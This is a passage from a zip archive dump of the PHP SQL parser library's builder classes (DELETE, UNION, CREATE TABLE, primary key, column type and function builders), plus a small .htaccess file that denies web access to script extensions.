 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Delete statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DeleteStatementBuilder implements Builder {

    protected function buildWHERE($parsed) {
        $builder = new WhereBuilder();
        return $builder->build($parsed);
    }

    protected function buildFROM($parsed) {
        $builder = new FromBuilder();
        return $builder->build($parsed);
    }

    protected function buildDELETE($parsed) {
        $builder = new DeleteBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $this->buildDELETE($parsed['DELETE']) . " " . $this->buildFROM($parsed['FROM']);
        if (isset($parsed['WHERE'])) {
            $sql .= " " . $this->buildWHERE($parsed['WHERE']);
        }
        return $sql;
    }

}
?>
PK     \OB    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexSizeBuilder.phpnu [        <?php
/**
 * IndexSizeBuilder.php
 *
 * Builds index size part of a PRIMARY KEY statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index size of a PRIMARY KEY
 * statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexSizeBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_SIZE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE primary key index size subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \Ee  e  O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/PrimaryKeyBuilder.phpnu [        <?php
/**
 * PrimaryKeyBuilder.php
 *
 * Builds the PRIMARY KEY statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the PRIMARY KEY  statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class PrimaryKeyBuilder implements Builder {

    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstraint($parsed) {
        $builder = new ConstraintBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexType($parsed) {
        $builder = new IndexTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexSize($parsed) {
        $builder = new IndexSizeBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexParser($parsed) {
        $builder = new IndexParserBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::PRIMARY_KEY) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildConstraint($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildIndexType($v);
            $sql .= $this->buildIndexSize($v);
            $sql .= $this->buildIndexParser($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE primary key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \Q    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnTypeBuilder.phpnu [        <?php
/**
 * ColumnTypeBuilder.php
 *
 * Builds the column type statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the column type statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ColumnTypeBuilder implements Builder {

    protected function buildColumnTypeBracketExpression($parsed) {
        $builder = new ColumnTypeBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildDataType($parsed) {
        $builder = new DataTypeBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildDefaultValue($parsed) {
        $builder = new DefaultValueBuilder();
        return $builder->build($parsed);
    }

    protected function buildCharacterSet($parsed) {
        if ($parsed['expr_type'] !== ExpressionType::CHARSET) {
            return "";
        }
        return $parsed['base_expr'];
    }

    protected function buildCollation($parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLLATE) {
            return "";
        }
        return $parsed['base_expr'];
    }

    protected function buildComment($parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COMMENT) {
            return "";
        }
        return $parsed['base_expr'];
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLUMN_TYPE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildDataType($v);
            $sql .= $this->buildColumnTypeBracketExpression($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildDefaultValue($v);
            $sql .= $this->buildCharacterSet($v);
            $sql .= $this->buildCollation($v);
            $sql .= $this->buildComment($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE column-type subtree', $k, $v, 'expr_type');
            }
    
            $sql .= " ";
        }
    
        return substr($sql, 0, -1);
    }
    
}
?>
PK     \Sʉ      C  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \%ʆ	  	  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DataTypeBuilder.phpnu [        <?php
/**
 * DataTypeBuilder.php
 *
 * Builds the data-type statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the data-type statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DataTypeBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::DATA_TYPE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \2G    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/FunctionBuilder.phpnu [        <?php
/**
 * FunctionBuilder.php
 *
 * Builds function statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2015 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for function calls. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class FunctionBuilder implements Builder {

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function isReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->isReserved($parsed);
    }
    
    protected function buildSelectExpression($parsed) {
        $builder = new SelectExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildUserVariableExpression($parsed) {
        $builder = new UserVariableBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if (($parsed['expr_type'] !== ExpressionType::AGGREGATE_FUNCTION)
            && ($parsed['expr_type'] !== ExpressionType::SIMPLE_FUNCTION)
            && ($parsed['expr_type'] !== ExpressionType::CUSTOM_FUNCTION)) {
            return "";
        }

        if ($parsed['sub_tree'] === false) {
            return $parsed['base_expr'] . "()" . $this->buildAlias($parsed);
        }

        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->build($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildSelectBracketExpression($v);
            $sql .= $this->buildSelectExpression($v);
            $sql .= $this->buildUserVariableExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('function subtree', $k, $v, 'expr_type');
            }

            $sql .= ($this->isReserved($v) ? " " : ",");
        }
        return $parsed['base_expr'] . "(" . substr($sql, 0, -1) . ")" . $this->buildAlias($parsed);
    }

}
?>
PK     \sӓ    S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UnionStatementBuilder.phpnu [        <?php
namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Union statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  George Schneeloch <george_schneeloch@hms.harvard.edu>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class UnionStatementBuilder implements Builder {

	public function build(array $parsed)
	{
		$sql = '';
		$select_builder = new SelectStatementBuilder();
		$first = true;
		foreach ($parsed['UNION'] as $clause) {
			if (!$first) {
				$sql .= " UNION ";
			}
			else {
				$first = false;
			}

			$sql .= $select_builder->build($clause);
		}
		return $sql;
	}
}PK     \ﵗu    V  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReplaceColumnListBuilder.phpnu [        <?php
/**
 * ReplaceColumnListBuilder.php
 *
 * Builds column-list parts of REPLACE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for column-list parts of REPLACE statements. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ReplaceColumnListBuilder implements Builder {

    protected function buildColumn($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLUMN_LIST) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColumn($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('REPLACE column-list subtree', $k, $v, 'expr_type');
            }

            $sql .= ", ";
        } 
        return "(" . substr($sql, 0, -2) . ")";
    }

}
?>
PK     \[/N
  N
  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DeleteBuilder.phpnu [        <?php
/**
 * DeleteBuilder.php
 *
 * Builds the DELETE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the [DELETE] part. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DeleteBuilder implements Builder {

    public function build(array $parsed) {
        $sql = "DELETE ";
        $right = -1;

        if ($parsed['options'] !== false) {
            foreach ($parsed['options'] as $k => $v) {
                $sql .= $v . " ";
            }
        }

        if ($parsed['tables'] !== false) {
            foreach ($parsed['tables'] as $k => $v) {
                $sql .= $v . ", ";
                $right = -2;
            }
        }

        return substr($sql, 0, $right);
    }
}
?>
PK     \    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableBuilder.phpnu [        <?php
/**
 * CreateTable.php
 *
 * Builds the CREATE TABLE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the CREATE TABLE statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateTableBuilder implements Builder {

    protected function buildCreateTableDefinition($parsed) {
        $builder = new CreateTableDefinitionBuilder();
        return $builder->build($parsed);
    }

    protected function buildCreateTableOptions($parsed) {
        $builder = new CreateTableOptionsBuilder();
        return $builder->build($parsed);
    }

    protected function buildCreateTableSelectOption($parsed) {
        $builder = new CreateTableSelectOptionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $parsed['name'];
        $sql .= $this->buildCreateTableDefinition($parsed);
        $sql .= $this->buildCreateTableOptions($parsed);
        $sql .= $this->buildCreateTableSelectOption($parsed);
        return $sql;
    }

}
?>
PK     \q
  
  U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexTableBuilder.phpnu [        <?php
/**
 * CreateIndexTable.php
 *
 * Builds the table part of a CREATE INDEX statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
